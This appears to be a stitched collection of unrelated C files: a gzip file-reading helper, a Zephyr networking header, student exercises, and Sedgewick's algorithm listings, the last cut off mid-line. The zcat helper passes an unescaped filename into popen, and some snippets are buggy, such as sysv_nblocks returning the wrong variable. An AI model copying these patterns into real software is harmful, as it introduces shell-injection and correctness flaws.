ZCAT); strcat(cmd," "); strcat(cmd, filename); zcat_pipe = popen(cmd, "r"); if (zcat_pipe == NULL) { jlog("Error: gzfile: failed to exec \"%s\" for opening file \"%s\"\n", cmd, filename); return NULL; } free(cmd); fp = zcat_pipe; } else { /* open normal file */ fp = fopen(filename, "rb"); if (fp == NULL) { /* error */ jlog("Error: gzfile: failed to open \"%s\"\n", filename); return NULL; } zcat_pipe = NULL; } isopen = TRUE; return (fp); } /** * Close a file previously opened by fopen_readfile(). * * @param fp [in] gzFile pointer * * @return 0 on success, -1 on error. */ int fclose_readfile(FILE *fp) { if (!isopen) { /* not opened yet */ return -1; } if (zcat_pipe != NULL) { /* pipe opened fp */ if (fp != zcat_pipe) { jlog("Error: gzfile: fp is not opened by fopen_readfile()\n"); return -1; } if (pclose(zcat_pipe) == -1) { jlog("Error: gzfile: failed to close gzip pipe\n"); return -1; } zcat_pipe = NULL; } else { /* normal opened fp */ if (fclose(fp) != 0) { jlog("Error: gzfile: failed to close file\n"); return -1; } } isopen = FALSE; return 0; } /** * Read data from input stream opened by fopen_readfile(). * * @param ptr [out] data buffer * @param size [in] size of unit in bytes * @param n [in] number of unit to be read * @param fp [in] gzFile pointer * * @return number of read units or EOF, -1 on error. */ size_t myfread(void *ptr, size_t size, size_t n, FILE *fp) { size_t ret; ret = fread(ptr, size, n, fp); if (ret == 0) { if (myfeof(fp) == 1) { return 0; } else { return -1; } } return(ret); } /** * Read one character from input stream opened by fopen_readfile(). * * @param fp [in] gzFile pointer * * @return the read character, or -1 on EOF or error. */ int myfgetc(FILE *fp) { int ret; ret = fgetc(fp); if (ret == EOF) return -1; return(ret); } /** * Test if reached end of file, for files opened by fopen_readfile(). * * @param fp [in] gzFile pointer. * * @return 1 if already on EOF, 0 if otherwise. */ int myfeof(FILE *fp) { if (feof(fp) == 0) { return 0; } return 1; } /** * Seek to the first of the file. * * @param fp [in] File pointer. * * @return 0 on success, -1 on error. */ int myfrewind(FILE *fp) { if (fseek(fp, 0L, SEEK_SET) != 0) return -1; return 0; } #endif /* ~HAVE_ZLIB */ /** * Open or create a file for writing (no compression supported), * * @param filename [in] filename * * @return the file pointer or NULL on failure. */ FILE * fopen_writefile(char *filename) { FILE *fp; fp = fopen(filename, "wb"); if (fp == NULL) { /* error */ jlog("Error: gzfile: failed to open \"%s\" for writing\n", filename); } return (fp); } /** * Close file previously opened by open_writefile(). * * @param fp [in] file pointer * * @return 0 on success, -1 on failure. */ int /* return value: 0=success, -1=failure */ fclose_writefile(FILE *fp) { if (fclose(fp) != 0) { return -1; } return 0; } /** * Write data. * * @param ptr [in] data buffer * @param size [in] size of unit in bytes * @param n [in] number of unit to write * @param fp [in] file pointer * * @return the number of units successfully written, or 0 if EOF or failed. */ size_t myfwrite(void *ptr, size_t size, size_t n, FILE *fp) { return(fwrite(ptr, size, n, fp)); }
C
/** @file @brief 802.15.4 fragment handler This is not to be included by the application. */ /* * Copyright (c) 2016 Intel Corporation * * SPDX-License-Identifier: Apache-2.0 */ #ifndef __NET_IEEE802154_FRAGMENT_H__ #define __NET_IEEE802154_FRAGMENT_H__ #include <sys/slist.h> #include <zephyr/types.h> #include <net/net_pkt.h> #include "ieee802154_frame.h" struct ieee802154_fragment_ctx { struct net_buf *buf; uint8_t *pos; uint16_t pkt_size; uint16_t processed; uint8_t hdr_diff; uint8_t offset; }; static inline bool ieee802154_fragment_is_needed(struct net_pkt *pkt, uint8_t ll_hdr_size) { return (net_pkt_get_len(pkt) + ll_hdr_size > IEEE802154_MTU - IEEE802154_MFR_LENGTH); } static inline void ieee802154_fragment_ctx_init(struct ieee802154_fragment_ctx *ctx, struct net_pkt *pkt, uint16_t hdr_diff, bool iphc) { ctx->buf = pkt->buffer; ctx->pos = ctx->buf->data; ctx->hdr_diff = hdr_diff; ctx->pkt_size = net_pkt_get_len(pkt) + (iphc ? hdr_diff : -1); ctx->offset = 0U; ctx->processed = 0U; } /** * @brief Fragment IPv6 packet as per RFC 6282 * * @details After IPv6 compression, transmission of IPv6 over 802.15.4 * needs to be fragmented. Every fragment will have fragmentation header * data size, data offset, data tag and payload. * * @param Pointer to valid fragmentation context * @param Pointer to valid buffer where to write the fragment * @param bool true for IPHC compression, false for IPv6 dispatch header * * @return True in case of success, false otherwise */ #ifdef CONFIG_NET_L2_IEEE802154_FRAGMENT void ieee802154_fragment(struct ieee802154_fragment_ctx *ctx, struct net_buf *frame_buf, bool iphc); #else #define ieee802154_fragment(...) #endif /** * @brief Reassemble 802.15.4 fragments as per RFC 6282 * * @details If the data does not fit into single fragment whole IPv6 packet * comes in number of fragments. This function will reassemble them all as * per data tag, data offset and data size. First packet is uncompressed * immediately after reception. * * @param Pointer to network fragment, which gets updated to full reassembled * packet when verdict is NET_CONTINUE * * @return NET_CONTINUE reassembly done, pkt is complete * NET_OK waiting for other fragments, * NET_DROP invalid fragment. */ #ifdef CONFIG_NET_L2_IEEE802154_FRAGMENT enum net_verdict ieee802154_reassemble(struct net_pkt *pkt); #else #define ieee802154_reassemble(...) #endif /* CONFIG_NET_L2_IEEE802154_FRAGMENT */ #endif /* __NET_IEEE802154_FRAGMENT_H__ */
C
#include "lists.h" #include <stdlib.h> /** * get_dnodeint_at_index - Function that returns the nth node of a dlistint_t * linked list * @head: head of the linked list * @index: index of the node * Return: the index of the node, if it not exist return NULL */ dlistint_t *get_dnodeint_at_index(dlistint_t *head, unsigned int index) { dlistint_t *temp; unsigned int counter = 0; temp = head; while (temp != NULL && counter <= index) { if (counter == index) return (temp); temp = temp->next; counter++; } return (NULL); }
C
#ifndef _G01_MAP_H_ #define _G01_MAP_H_ #include <lcom/lcf.h> #include <stdint.h> /** @defgroup map Map * @{ * * @brief Functions and data types related to map loading and destruction. */ /** * @brief Map matrix. * * Zero indicates ground and its texture index. A positive value indicates a wall and its texture index. * A negative value indicates a special block with properties like finishing the game. */ typedef struct map { int32_t** matrix; uint16_t lines, columns; } map_t; /** * @brief Loads a map from a file given a map number. * * @param mapNumber the number of the map that identifies it. * @param map the loaded map * * @returns OK if no errors occurred. */ int(load_map)(uint16_t mapNumber, map_t* map); /** * @brief Correctly frees up memory used up by map. * * @param map the loaded map * * @returns OK if no errors occurred. */ void(close_map)(map_t* map); /**@}*/ #endif
C
/* Helper functions for simple programm to calculate the hypothenous. @author: Thomas Lehmann @date: 2018 */ #include <stdio.h> #include <math.h> /* Show a simple splash screen. */ void showSplash(void){ printf("Designed by Thomas Lehmann\n"); printf("(c) 2018\n"); } /* Request the user to input a positive number. Returns the number only if it is positive. Otherwise the request will be repeated.*/ /* not safe against wrong input! */ double requestPosNumber(void){ double result = 0.0; do { printf("Positive Zahl eingeben:" ); scanf("%lf", &result); } while(result < 0); return result; } /* Calculate the hypothenuse based on the given cathets. */ double calculateHypothenuse(double a, double b){ double result = 0.0; result = sqrt( a*a + b*b ); return result; }
C
/* * File: car_mileage.c * Desc: Computes the miles per gallon to determine disparity in mielage between * drivers * Author: Sayed Yoseph Sadat (914290757) <sysadat@ucdavis.edu> */ #include <stdio.h> /* Access to scanf()/printf() */ #define TANK 19.50 /* Constant gallon fuel tank */ int main(void) { float odometerStart, odometerEnd; float distanceTraveled; float gasMileage; /* Initial input phase for odometer */ printf("Starting odometer reading?\n"); scanf("%f", &odometerStart); /* Input phase for ending odometer reading */ printf("Ending odometer reading?\n"); scanf("%f", &odometerEnd); /* Computation of total distance traveled */ distanceTraveled = odometerEnd - odometerStart; printf("You traveled %.*f miles.\n", 1, distanceTraveled); /* Gas mileage computation and output phase */ gasMileage = distanceTraveled / TANK; printf("With a tank of %.*f gallons, your gas mileage is %.*f MPG.\n", 2, TANK, 2, gasMileage); /* Exit with no error */ return 0; }
C
#define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ struct sysv_sb_info {int s_ind_per_block_bits; } ; struct super_block {int s_blocksize; int s_blocksize_bits; } ; typedef int loff_t ; /* Variables and functions */ unsigned int DEPTH ; unsigned int DIRECT ; struct sysv_sb_info* SYSV_SB (struct super_block*) ; __attribute__((used)) static unsigned sysv_nblocks(struct super_block *s, loff_t size) { struct sysv_sb_info *sbi = SYSV_SB(s); int ptrs_bits = sbi->s_ind_per_block_bits; unsigned blocks, res, direct = DIRECT, i = DEPTH; blocks = (size + s->s_blocksize - 1) >> s->s_blocksize_bits; res = blocks; while (--i && blocks > direct) { blocks = ((blocks - direct - 1) >> ptrs_bits) + 1; res += blocks; direct = 1; } return blocks; }
C
#ifndef HOLBERTON_H #define HOLBERTON_H int _putchar(char c); int sum_them_all(const unsigned int n, ...); void print_numbers(const char *separator, const unsigned int n, ...); void print_strings(const char *separator, const unsigned int n, ...); void print_all(const char * const format, ...); /** * struct print_s - struct for printing s * @letter: something * @f: function pointer */ typedef struct print_s { char letter; void (*f)(); } print_t; #endif
C
This file contains the code from "Algorithms in C, Third Edition, Parts 1-4," by Robert Sedgewick, and is covered under the copyright and warranty notices in that book. Permission is granted for this code to be used for educational purposes in association with the text, and for other uses not covered by copyright laws, provided that the following notice is included with the code: "This code is from "Algorithms in C, Third Edition," by Robert Sedgewick, Addison-Wesley, 1998." Commercial uses of this code require the explicit written permission of the publisher. Send your request for permission, stating clearly what code you would like to use, and in what specific way, to: aw.cse@aw.com ---------- CHAPTER 1. Introduction ----- #include <stdio.h> #define N 10000 main() { int i, p, q, t, id[N]; for (i = 0; i < N; i++) id[i] = i; while (scanf("%d %d\n", &p, &q) == 2) { if (id[p] == id[q]) continue; for (t = id[p], i = 0; i < N; i++) if (id[i] == t) id[i] = id[q]; printf(" %d %d\n", p, q); } } ----- for (i = p; i != id[i]; i = id[i]) ; for (j = q; j != id[j]; j = id[j]) ; if (i == j) continue; id[i] = j; printf(" %d %d\n", p, q); ----- #include <stdio.h> #define N 10000 main() { int i, j, p, q, id[N], sz[N]; for (i = 0; i < N; i++) { id[i] = i; sz[i] = 1; } while (scanf("%d %d\n", &p, &q) == 2) { for (i = p; i != id[i]; i = id[i]) ; for (j = q; j != id[j]; j = id[j]) ; if (i == j) continue; if (sz[i] < sz[j]) { id[i] = j; sz[j] += sz[i]; } else { id[j] = i; sz[i] += sz[j]; } printf(" %d %d\n", p, q); } } ----- for (i = p; i != id[i]; i = id[i]) { int t = i; i = id[id[t]]; id[t] = i; } for (j = q; j != id[j]; j = id[j]) ; { int t = j; j = id[id[t]]; id[t] = j; } ---------- CHAPTER 2. Principles of Algorithm Analysis ----- int search(int a[], int v, int l, int r) { int i; for (i = l; i <= r; i++) if (v == a[i]) return i; return -1; } ----- int search(int a[], int v, int l, int r) { while (r >= l) { int m = (l+r)/2; if (v == a[m]) return m; if (v < a[m]) r = m-1; else l = m+1; } return -1; } ---------- CHAPTER 3. Elementary Data Structures ----- #include <stdio.h> int lg(int); main() { int i, N; for (i = 1, N = 10; i <= 6; i++, N *= 10) printf("%7d %2d %9d\n", N, lg(N), N*lg(N)); } int lg(int N) { int i; for (i = 0; N > 0; i++, N /= 2) ; return i; } ----- #include <stdlib.h> typedef int numType; numType randNum() { return rand(); } main(int argc, char *argv[]) { int i, N = atoi(argv[1]); float m1 = 0.0, m2 = 0.0; numType x; for (i = 0; i < N; i++) { x = randNum(); m1 += ((float) x)/N; m2 += ((float) x*x)/N; } printf(" Average: %f\n", m1); printf("Std. deviation: %f\n", sqrt(m2-m1*m1)); } ----- typedef struct { float x; float y; } point; float distance(point a, point b); ----- #include <math.h> #include "Point.h" float distance(point a, point b) { float dx = a.x - b.x, dy = a.y - b.y; return sqrt(dx*dx + dy*dy); } ----- #define N 10000 main() { int i, j, a[N]; for (i = 2; i < N; i++) a[i] = 1; for (i = 2; i < N; i++) if (a[i]) for (j = i; j < N/i; j++) a[i*j] = 0; for (i = 2; i < N; i++) if (a[i]) printf("%4d ", i); printf("\n"); } ----- #include <stdlib.h> main(int argc, char *argv[]) { long int i, j, N = atoi(argv[1]); int *a = malloc(N*sizeof(int)); if (a == NULL) { printf("Insufficient memory.\n"); return; } ... ----- #include <stdlib.h> int heads() { return rand() < RAND_MAX/2; } main(int argc, char *argv[]) { int i, j, cnt; int N = atoi(argv[1]), M = atoi(argv[2]); int *f = malloc((N+1)*sizeof(int)); for (j = 0; j <= N; j++) f[j] = 0; for (i = 0; i < M; i++, f[cnt]++) for (cnt = 0, j = 0; j <= N; j++) if (heads()) cnt++; for (j = 0; j <= N; j++) { printf("%2d ", j); for (i = 0; i < f[j]; i+=10) printf("*"); printf("\n"); } } ----- #include <math.h> #include <stdio.h> #include <stdlib.h> #include "Point.h" float randFloat() { return 1.0*rand()/RAND_MAX; } main(int argc, char *argv[]) { float d = atof(argv[2]); int i, j, cnt = 0, N = atoi(argv[1]); point *a = malloc(N*(sizeof(*a))); for (i = 0; i < N; i++) { a[i].x = randFloat(); a[i].y = randFloat(); } for (i = 0; i < N; i++) for (j = i+1; j < N; j++) if (distance(a[i], a[j]) < d) cnt++; printf("%d edges shorter than %f\n", cnt, d); } ----- #include <stdlib.h> typedef struct node* link; struct node { int item; link next; }; main(int argc, char *argv[]) { int i, N = atoi(argv[1]), M = atoi(argv[2]); link t = malloc(sizeof *t), x = t; t->item = 1; t->next = t; for (i = 2; i <= N; i++) { x = (x->next = malloc(sizeof *x)); x->item = i; x->next = t; } while (x != x->next) { for (i = 1; i < M; i++) x = x->next; x->next = x->next->next; N--; } printf("%d\n", x->item); } ----- link reverse(link x) { link t, y = x, r = NULL; while (y != NULL) { t = y->next; y->next = r; r = y; y = t; } return r; } ----- struct node heada, headb; link t, u, x, a = &heada, b; for (i = 0, t = a; i < N; i++) { t->next = malloc(sizeof *t); t = t->next; t->next = NULL; t->item = rand() % 1000; } b = &headb; b->next = NULL; for (t = a->next; t != NULL; t = u) { u = t->next; for (x = b; x->next != NULL; x = x->next) if (x->next->item > t->item) break; t->next = x->next; x->next = t; } ----- typedef struct node* link; struct node { itemType item; link next; }; typedef link Node; void initNodes(int); link newNode(int); void freeNode(link); void insertNext(link, link); link deleteNext(link); link Next(link); int Item(link); ----- #include "list.h" main(int argc, char *argv[]) { int i, N = atoi(argv[1]), M = atoi(argv[2]); Node t, x; initNodes(N); for (i = 2, x = newNode(1); i <= N; i++) { t = newNode(i); insertNext(x, t); x = t; } while (x != Next(x)) { for (i = 1; i < M; i++) x = Next(x); freeNode(deleteNext(x)); } printf("%d\n", Item(x)); } ----- #include <stdlib.h> #include "list.h" link freelist; void initNodes(int N) { int i; freelist = malloc((N+1)*(sizeof *freelist)); for (i = 0; i < N+1; i++) freelist[i].next = &freelist[i+1]; freelist[N].next = NULL; } link newNode(int i) { link x = deleteNext(freelist); x->item = i; x->next = x; return x; } void freeNode(link x) { insertNext(freelist, x); } void insertNext(link x, link t) { t->next = x->next; x->next = t; } link deleteNext(link x) { link t = x->next; x->next = t->next; return t; } link Next(link x) { return x->next; } int Item(link x) { return x->item; } ----- #include <stdio.h> #define N 10000 main(int argc, char *argv[]) { int i, j, t; char a[N], *p = argv[1]; for (i = 0; i < N-1; a[i] = t, i++) if ((t = getchar()) == EOF) break; a[i] = 0; for (i = 0; a[i] != 0; i++) { for (j = 0; p[j] != 0; j++) if (a[i+j] != p[j]) break; if (p[j] == 0) printf("%d ", i); } printf("\n"); } ----- int **malloc2d(int r, int c) { int i; int **t = malloc(r * sizeof(int *)); for (i = 0; i < r; i++) t[i] = malloc(c * sizeof(int)); return t; } ----- #include <stdio.h> #include <stdlib.h> #include <string.h> #define Nmax 1000 #define Mmax 10000 char buf[Mmax]; int M = 0; int compare(void *i, void *j) { return strcmp(*(char **)i, *(char **)j); } main() { int i, N; char* a[Nmax]; for (N = 0; N < Nmax; N++) { a[N] = &buf[M]; if (scanf("%s", a[N]) == EOF) break; M += strlen(a[N])+1; } qsort(a, N, sizeof(char*), compare); for (i = 0; i < N; i++) printf("%s\n", a[i]); } ----- #include <stdio.h> #include <stdlib.h> main() { int i, j, adj[V][V]; for (i = 0; i < V; i++) for (j = 0; j < V; j++) adj[i][j] = 0; for (i = 0; i < V; i++) adj[i][i] = 1; while (scanf("%d %d\n", &i, &j) == 2) { adj[i][j] = 1; adj[j][i] = 1; } } ----- #include <stdio.h> #include <stdlib.h> typedef struct node *link; struct node { int v; link next; }; link NEW(int v, link next) { link x = malloc(sizeof *x); x->v = v; x->next = next; return x; } main() { int i, j; link adj[V]; for (i = 0; i < V; i++) adj[i] = NULL; while (scanf("%d %d\n", &i, &j) == 2) { adj[j] = NEW(i, adj[j]); adj[i] = NEW(j, adj[i]); } } ----- #include <math.h> #include <stdio.h> #include <stdlib.h> #include "Point.h" typedef struct node* link; struct node { point p; link next; }; link **grid; int G; float d; int cnt = 0; gridinsert(float x, float y) { int i, j; link s; int X = x*G +1; int Y = y*G+1; link t = malloc(sizeof *t); t->p.x = x; t->p.y = y; for (i = X-1; i <= X+1; i++) for (j = Y-1; j <= Y+1; j++) for (s = grid[i][j]; s != NULL; s = s->next) if (distance(s->p, t->p) < d) cnt++; t->next = grid[X][Y]; grid[X][Y] = t; } main(int argc, char *argv[]) { int i, j, N = atoi(argv[1]); d = atof(argv[2]); G = 1/d; grid = malloc2d(G+2, G+2); for (i = 0; i < G+2; i++) for (j = 0; j < G+2; j++) grid[i][j] = NULL; for (i = 0; i < N; i++) gridinsert(randFloat(), randFloat()); printf("%d edges shorter than %f\n", cnt, d); } ----- #include <math.h> #include <stdlib.h> typedef int numType; #define R 1000 numType randNum() { return rand() % R; } main(int argc, char *argv[]) { int i, N = atoi(argv[1]); int *f = malloc(R*sizeof(int)); float m1 = 0.0, m2 = 0.0, t = 0.0; numType x; for (i = 0; i < R; i++) f[i] = 0; for (i = 0; i < N; i++) { f[x = randNum()]++; m1 += (float) x/N; m2 += (float) x*x/N; } for (i = 0; i < R; i++) t += f[i]*f[i]; printf(" Average: %f\n", m1); printf("Std. deviation: %f\n", sqrt(m2-m1*m1)); printf(" Chi-square: %f\n", (R*t/N)-N); } ---------- CHAPTER 4. Abstract Data Types ----- void STACKinit(int); int STACKempty(); void STACKpush(Item); Item STACKpop(); ----- #include <stdio.h> #include <string.h> #include "Item.h" #include "STACK.h" main(int argc, char *argv[]) { char *a = argv[1]; int i, N = strlen(a); STACKinit(N); for (i = 0; i < N; i++) { if (a[i] == '+') STACKpush(STACKpop()+STACKpop()); if (a[i] == '*') STACKpush(STACKpop()*STACKpop()); if ((a[i] >= '0') && (a[i] <= '9')) STACKpush(0); while ((a[i] >= '0') && (a[i] <= '9')) STACKpush(10*STACKpop() + (a[i++]-'0')); } printf("%d \n", STACKpop()); } ----- #include <stdio.h> #include <string.h> #include "Item.h" #include "STACK.h" main(int argc, char *argv[]) { char *a = argv[1]; int i, N = strlen(a); STACKinit(N); for (i = 0; i < N; i++) { if (a[i] == ')') printf("%c ", STACKpop()); if ((a[i] == '+') || (a[i] == '*')) STACKpush(a[i]); if ((a[i] >= '0') && (a[i] <= '9')) printf("%c ", a[i]); } printf("\n"); } ----- #include <stdlib.h> #include "Item.h" #include "STACK.h" static Item *s; static int N; void STACKinit(int maxN) { s = malloc(maxN*sizeof(Item)); N = 0; } int STACKempty() { return N == 0; } void STACKpush(Item item) { s[N++] = item; } Item STACKpop() { return s[--N]; } ----- #include <stdlib.h> #include "Item.h" typedef struct STACKnode* link; struct STACKnode { Item item; link next; }; static link head; link NEW(Item item, link next) { link x = malloc(sizeof *x); x->item = item; x->next = next; return x; } void STACKinit(int maxN) { head = NULL; } int STACKempty() { return head == NULL; } STACKpush(Item item) { head = NEW(item, head); } Item STACKpop() { Item item = head->item; link t = head->next; free(head); head = t; return item; } ----- void UFinit(int); int UFfind(int, int); int UFunion(int, int); ----- #include <stdio.h> #include "UF.h" main(int argc, char *argv[]) { int p, q, N = atoi(argv[1]); UFinit(N); while (scanf("%d %d", &p, &q) == 2) if (!UFfind(p, q)) { UFunion(p, q); printf(" %d %d\n", p, q); } } ----- #include <stdlib.h> #include "UF.h" static int *id, *sz; void UFinit(int N) { int i; id = malloc(N*sizeof(int)); sz = malloc(N*sizeof(int)); for (i = 0; i < N; i++) { id[i] = i; sz[i] = 1; } } int find(int x) { int i = x; while (i != id[i]) i = id[i]; return i; } int UFfind(int p, int q) { return (find(p) == find(q)); } int UFunion(int p, int q) { int i = find(p), j = find(q); if (i == j) return; if (sz[i] < sz[j]) { id[i] = j; sz[j] += sz[i]; } else { id[j] = i; sz[i] += sz[j]; } } ----- void QUEUEinit(int); int QUEUEempty(); void QUEUEput(Item); Item QUEUEget(); ----- #include <stdlib.h> #include "Item.h" #include "QUEUE.h" typedef struct QUEUEnode* link; struct QUEUEnode { Item item; link next; }; static link head, tail; link NEW(Item item, link next) { link x = malloc(sizeof *x); x->item = item; x->next = next; return x; } void QUEUEinit(int maxN) { head = NULL; } int QUEUEempty() { return head == NULL; } QUEUEput(Item item) { if (head == NULL) { head = (tail = NEW(item, head)); return; } tail->next = NEW(item, tail->next); tail = tail->next; } Item QUEUEget() { Item item = head->item; link t = head->next; free(head); head = t; return item; } ----- #include <stdlib.h> #include "Item.h" static Item *q; static int N, head, tail; void QUEUEinit(int maxN) { q = malloc((maxN+1)*sizeof(Item)); N = maxN+1; head = N; tail = 0; } int QUEUEempty() { return head % N == tail; } void QUEUEput(Item item) { q[tail++] = item; tail = tail % N; } Item QUEUEget() { head = head % N; return q[head++]; } ----- #include <stdlib.h> static int *s, *t; static int N; void STACKinit(int maxN) { int i; s = malloc(maxN*sizeof(int)); t = malloc(maxN*sizeof(int)); for (i = 0; i < maxN; i++) t[i] = 0; N = 0; } int STACKempty() { return !N; } void STACKpush(int item) { if (t[item] == 1) return; s[N++] = item; t[item] = 1; } int STACKpop() { N--; t[s[N]] = 0; return s[N]; } ----- #include <stdio.h> #include <math.h> #include "COMPLEX.h" #define PI 3.141592625 main(int argc, char *argv[]) { int i, j, N = atoi(argv[1]); Complex t, x; printf("%dth complex roots of unity\n", N); for (i = 0; i < N; i++) { float r = 2.0*PI*i/N; t = COMPLEXinit(cos(r), sin(r)); printf("%2d %6.3f %6.3f ", i, Re(t), Im(t)); for (x = t, j = 0; j < N-1; j++) x = COMPLEXmult(t, x); printf("%6.3f %6.3f\n", Re(x), Im(x)); } } ----- typedef struct { float Re; float Im; } Complex; Complex COMPLEXinit(float, float); float Re(Complex); float Im(Complex); Complex COMPLEXmult(Complex, Complex); ----- #include "COMPLEX.h" Complex COMPLEXinit(float Re, float Im) { Complex t; t.Re = Re; t.Im = Im; return t; } float Re(Complex z) { return z.Re; } float Im(Complex z) { return z.Im; } Complex COMPLEXmult(Complex a, Complex b) { Complex t; t.Re = a.Re*b.Re - a.Im*b.Im; t.Im = a.Re*b.Im + a.Im*b.Re; return t; } ----- typedef struct complex *Complex; Complex COMPLEXinit(float, float); float Re(Complex); float Im(Complex); Complex COMPLEXmult(Complex, Complex); ----- #include <stdlib.h> #include "COMPLEX.h" struct complex { float Re; float Im; }; Complex COMPLEXinit(float Re, float Im) { Complex t = malloc(sizeof *t); t->Re = Re; t->Im = Im; return t; } float Re(Complex z) { return z->Re; } float Im(Complex z) { return z->Im; } Complex COMPLEXmult(Complex a, Complex b) { return COMPLEXinit(Re(a)*Re(b) - Im(a)*Im(b), Re(a)*Im(b) + Im(a)*Re(b)); } ----- typedef struct queue *Q; void QUEUEdump(Q); Q QUEUEinit(int maxN); int QUEUEempty(Q); void QUEUEput(Q, Item); Item QUEUEget(Q); ----- #include <stdio.h> #include <stdlib.h> #include "Item.h" #include "QUEUE.h" #define M 10 main(int argc, char *argv[]) { int i, j, N = atoi(argv[1]); Q queues[M]; for (i = 0; i < M; i++) queues[i] = QUEUEinit(N); for (i = 0; i < N; i++) QUEUEput(queues[rand() % M], j); for (i = 0; i < M; i++, printf("\n")) for (j = 0; !QUEUEempty(queues[i]); j++) printf("%3d ", QUEUEget(queues[i])); } ----- #include <stdlib.h> #include "Item.h" #include "QUEUE.h" typedef struct QUEUEnode* link; struct QUEUEnode { Item item; link next; }; struct queue { link head; link tail; }; link NEW(Item item, link next) { link x = malloc(sizeof *x); x->item = item; x->next = next; return x; } Q QUEUEinit(int maxN) { Q q = malloc(sizeof *q); q->head = NULL; q->tail = NULL; return q; } int QUEUEempty(Q q) { return q->head == NULL; } void QUEUEput(Q q, Item item) { if (q->head == NULL) { q->tail = NEW(item, q->head) q->head = q->tail; return; } q->tail->next = NEW(item, q->tail->next); q->tail = q->tail->next; } Item QUEUEget(Q q) { Item item = q->head->item; link t = q->head->next; free(q->head); q->head = t; return item; } ----- #include <stdio.h> #include <stdlib.h> #include "POLY.h" main(int argc, char *argv[]) { int N = atoi(argv[1]); float p = atof(argv[2]); Poly t, x; int i, j; printf("Binomial coefficients\n"); t = POLYadd(POLYterm(1, 1), POLYterm(1, 0)); for (i = 0, x = t; i < N; i++) { x = POLYmult(t, x); showPOLY(x); } printf("%f\n", POLYeval(x, p)); } ----- typedef struct poly *Poly; void showPOLY(Poly); Poly POLYterm(int, int); Poly POLYadd(Poly, Poly); Poly POLYmult(Poly, Poly); float POLYeval(Poly, float); ----- #include <stdlib.h> #include "POLY.h" struct poly { int N; int *a; }; Poly POLYterm(int coeff, int exp) { int i; Poly t = malloc(sizeof *t); t->a = malloc((exp+1)*sizeof(int)); t->N = exp+1; t->a[exp] = coeff; for (i = 0; i < exp; i++) t->a[i] = 0; return t; } Poly POLYadd(Poly p, Poly q) { int i; Poly t; if (p->N < q->N) { t = p; p = q; q = t; } for (i = 0; i < q->N; i++) p->a[i] += q->a[i]; return p; } Poly POLYmult(Poly p, Poly q) { int i, j; Poly t = POLYterm(0, (p->N-1)+(q->N-1)); for (i = 0; i < p->N; i++) for (j = 0; j < q->N; j++) t->a[i+j] += p->a[i]*q->a[j]; return t; } float POLYeval(Poly p, float x) { int i; double t = 0.0; for (i = p->N-1; i >= 0; i--) t = t*x + p->a[i]; return t; } ---------- CHAPTER 5. Recursion and Trees ----- int factorial(int N) { if (N == 0) return 1; return N*factorial(N-1); } ----- int puzzle(int N) { if (N == 1) return 1; if (N % 2 == 0) return puzzle(N/2); else return puzzle(3*N+1); } ----- int gcd(int m, int n) { if (n == 0) return m; return gcd(n, m % n); } ----- char *a; int i; int eval() { int x = 0; while (a[i] == ' ') i++; if (a[i] == '+') { i++; return eval() + eval(); } if (a[i] == '*') { i++; return eval() * eval(); } while ((a[i] >= '0') && (a[i] <= '9')) x = 10*x + (a[i++]-'0'); return x; } ----- int count(link x) { if (x == NULL) return 0; return 1 + count(x->next); } void traverse(link h, void (*visit)(link)) { if (h == NULL) return; (*visit)(h); traverse(h->next, visit); } void traverseR(link h, void (*visit)(link)) { if (h == NULL) return; traverseR(h->next, visit); (*visit)(h); } link delete(link x, Item v) { if (x == NULL) return NULL; if (eq(x->item, v)) { link t = x->next; free(x); return t; } x->next = delete(x->next, v); return x; } ----- Item max(Item a[], int l, int r) { Item u, v; int m = (l+r)/2; if (l == r) return a[l]; u = max(a, l, m); v = max(a, m+1, r); if (u > v) return u; else return v; } ----- void hanoi(int N, int d) { if (N == 0) return; hanoi(N-1, -d); shift(N, d); hanoi(N-1, -d); } ----- rule(int l, int r, int h) { int m = (l+r)/2; if (h > 0) { rule(l, m, h-1); mark(m, h); rule(m, r, h-1); } } ----- rule(int l, int r, int h) { int i, j, t; for (t = 1, j = 1; t <= h; j += j, t++) for (i = 0; l+j+i <= r; i += j+j) mark(l+j+i, t); } ----- int F(int i) { if (i < 1) return 0; if (i == 1) return 1; return F(i-1) + F(i-2); } ----- int F(int i) { int t; if (knownF[i] != unknown) return knownF[i]; if (i == 0) t = 0; if (i == 1) t = 1; if (i > 1) t = F(i-1) + F(i-2); return knownF[i] = t; } ----- int knap(int cap) { int i, space, max, t; for (i = 0, max = 0; i < N; i++) if ((space = cap-items[i].size) >= 0) if ((t = knap(space) + items[i].val) > max) max = t; return max; } ----- int knap(int M) { int i, space, max, maxi, t; if (maxKnown[M] != unknown) return maxKnown[M]; for (i = 0, max = 0; i < N; i++) if ((space = M-items[i].size) >= 0) if ((t = knap(space) + items[i].val) > max) { max = t; maxi = i; } maxKnown[M] = max; itemKnown[M] = items[maxi]; return max; } ----- void traverse(link h, void (*visit)(link)) { if (h == NULL) return; (*visit)(h); traverse(h->l, visit); traverse(h->r, visit); } ----- void traverse(link h, void (*visit)(link)) { STACKinit(max); STACKpush(h); while (!STACKempty()) { (*visit)(h = STACKpop()); if (h->r != NULL) STACKpush(h->r); if (h->l != NULL) STACKpush(h->l); } } ----- void traverse(link h, void (*visit)(link)) { QUEUEinit(max); QUEUEput(h); while (!QUEUEempty()) { (*visit)(h = QUEUEget()); if (h->l != NULL) QUEUEput(h->l); if (h->r != NULL) QUEUEput(h->r); } } ----- int count(link h) { if (h == NULL) return 0; return count(h->l) + count(h->r) + 1; } int height(link h) { int u, v; if (h == NULL) return -1; u = height(h->l); v = height(h->r); if (u > v) return u+1; else return v+1; } ----- void printnode(char c, int h) { int i; for (i = 0; i < h; i++) printf(" "); printf("%c\n", c); } void show(link x, int h) { if (x == NULL) { printnode("*", h); return; } show(x->r, h+1); printnode(x->item, h); show(x->l, h+1); } ----- typedef struct node *link; struct node { Item item; link l, r }; link NEW(Item item, link l, link r) { link x = malloc(sizeof *x); x->item = item; x->l = l; x->r = r; return x; } link max(Item a[], int l, int r) { int m = (l+r)/2; Item u, v; link x = NEW(a[m], NULL, NULL); if (l == r) return x; x->l = max(a, l, m); x->r = max(a, m+1, r); u = x->l->item; v = x->r->item; if (u > v) x->item = u; else x->item = v; return x; } ----- char *a; int i; typedef struct Tnode* link; struct Tnode { char token; link l, r; }; link 